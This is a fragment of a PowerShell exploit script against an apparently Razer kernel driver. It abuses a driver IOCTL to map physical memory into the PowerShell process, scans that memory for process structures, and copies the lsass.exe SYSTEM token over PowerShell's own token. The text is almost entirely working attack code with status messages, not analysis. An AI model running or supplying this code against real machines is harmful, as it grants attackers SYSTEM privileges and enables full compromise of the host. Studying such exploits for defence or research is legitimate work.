$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
echo "[+] System section handle: $('{0:X}' -f $SystemSectionHandle)"
# NTSTATUS ZwMapViewOfSection(
# _In_ HANDLE SectionHandle, | Param 3 - RCX = SectionHandle
# _In_ HANDLE ProcessHandle, | Param 1 - RDX = ProcessHandle
# _Inout_ PVOID *BaseAddress, | Param 2 - R8 = BaseAddress -> Irrelevant, ptr to NULL
# _In_ ULONG_PTR ZeroBits, | 0 -> OK - R9
# _In_ SIZE_T CommitSize, | Param 5 - CommitSize / ViewSize
# _Inout_opt_ PLARGE_INTEGER SectionOffset, | 0 -> OK
# _Inout_ PSIZE_T ViewSize, | Param 5 - CommitSize / ViewSize
# _In_ SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
# _In_ ULONG AllocationType, | 0 -> Undocumented?
# _In_ ULONG Win32Protect | 0x40 -> PAGE_READWRITE
# );
$InBuffer = @(
[System.BitConverter]::GetBytes($hPoshProc.ToInt64()) + # Param 1 - RDX=ProcessHandle
[System.BitConverter]::GetBytes([Int64]0x0) + # Param 2 - BaseAddress -> Irrelevant, ptr to NULL
[System.BitConverter]::GetBytes($SystemSectionHandle) + # Param 3 - RCX=SectionHandle
[System.BitConverter]::GetBytes([Int64]4) + # Param 4 - ? junk ?
[System.BitConverter]::GetBytes([Int64]$(1200*1024*1024)) + # Param 5 - CommitSize / ViewSize
[System.BitConverter]::GetBytes([Int64]4) # Param 6 - ? junk ?
)
# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
# Ptr receiving output byte count
$IntRet = 0
#=======
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
echo "`n[!] DeviceIoControl failed..`n"
Return
}
#----------------[Read out the result buffer]
echo "`n[>] Verifying ZwMapViewOfSection.."
$NTSTATUS = "{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
$Address = [System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8)
if ($NTSTATUS -eq 0) {
echo "[+] NTSTATUS Success!"
echo "[+] 1.2GB RWX \Device\PhysicalMemory allocated at: $('{0:X}' -f $Address)"
} else {
echo "[!] Call failed: $('{0:X}' -f $NTSTATUS)"
}
#----------------[Parse PhysicalMemory]
echo "`n[>] Parsing physical memory, coffee time..`n"
# Store PwnCount so we can exit our loop!
$PwnCount = 0
for ($i=0x30000000;$i -lt $(1200*1024*1024); $i+=0x10) {
# Read potential pooltag
$Val = [System.Runtime.InteropServices.Marshal]::ReadInt32($Address+$i+4)
# If pooltag matches Proc, pull out details..
if ($Val -eq 0xe36f7250) {
echo "[?] w00t Proc chunk found!"
$ProcessName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Address+$i+0x60+0x2d8+8) # Not sure why +8 here?
if ($ProcessName -eq "powershell.exe") {
$Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
$WriteWhere = $Address+$i+0x60+0x208
echo "`n[>] PowerShell poolparty: $('{0:X}' -f $($Address+$i))"
echo "[+] Token: $('{0:X}' -f $Token)`n"
$PwnCount += 1
}
if ($ProcessName -eq "lsass.exe") {
$Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
$WriteWhat = $Token
echo "`n[>] LSASS poolparty: $('{0:X}' -f $($Address+$i))"
echo "[+] Token: $('{0:X}' -f $Token)`n"
$PwnCount += 1
}
# Check if PwnCount is 2
if ($PwnCount -eq 2) {
# Overwrite PowerShell token & exit
echo "[>] Duplicating SYSTEM token..`n"
[System.Runtime.InteropServices.Marshal]::WriteInt64($WriteWhere,$WriteWhat)
Break
}
}
}
}